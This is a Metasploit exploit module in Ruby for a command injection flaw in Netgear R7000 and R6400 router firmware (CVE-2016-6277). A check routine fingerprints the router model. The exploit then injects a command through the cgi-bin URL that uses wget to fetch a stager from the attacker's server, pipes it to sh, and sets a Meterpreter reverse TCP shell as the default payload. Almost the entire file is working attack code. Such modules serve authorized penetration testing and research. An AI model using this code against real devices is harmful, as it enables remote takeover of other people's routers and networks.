101 lines
2.9 KiB
Ruby
101 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
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'Description' => %q{
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This module exploits an arbitrary command injection vulnerability in
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Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
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},
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Author' => ['thecarterb', 'Acew0rm'],
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'DefaultTarget' => 0,
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'Privileged' => true,
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'Arch' => ARCH_ARMLE,
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'Targets' => [
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[ 'Automatic Target', { } ]
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],
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'References' =>
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[
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[ 'EDB', '40889'],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
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[ 'US-CERT-VU', '582384'],
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[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
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[ 'CVE', '2016-6277']
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],
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'DisclosureDate' => 'Dec 06 2016',
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'DefaultOptions' =>
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{
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'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
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}
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))
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register_options(
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[
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Opt::RPORT(80)
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])
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deregister_options('URIPATH')
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end
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def scrape(text, start_trig, end_trig)
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text[/#{start_trig}(.*?)#{end_trig}/m, 1]
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end
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# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
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def check
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res = send_request_cgi({'uri'=>'/'})
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if res.nil?
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fail_with(Failure::Unreachable, 'Connection timed out.')
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end
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# Checks for the `WWW-Authenticate` header in the response
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if res.headers["WWW-Authenticate"]
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data = res.to_s
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marker_one = "Basic realm=\"NETGEAR "
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marker_two = "\""
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model = scrape(data, marker_one, marker_two)
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vprint_status("Router is a NETGEAR router (#{model})")
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if model == 'R7000' || model == 'R6400'
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print_good("Router may be vulnerable (NETGEAR #{model})")
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return CheckCode::Detected
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else
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return CheckCode::Safe
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end
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else
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print_error('Router is not a NETGEAR router')
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return CheckCode::Safe
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end
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end
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def exploit
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return if check == CheckCode::Safe
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@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
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send_request_cgi(
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'method' => 'GET',
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'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
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)
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end
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# Return CmdStager on first request, payload on second
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def on_request_uri(cli, request)
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if @cmdstager
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send_response(cli, @cmdstager)
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@cmdstager = nil
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else
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super
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end
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end
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end
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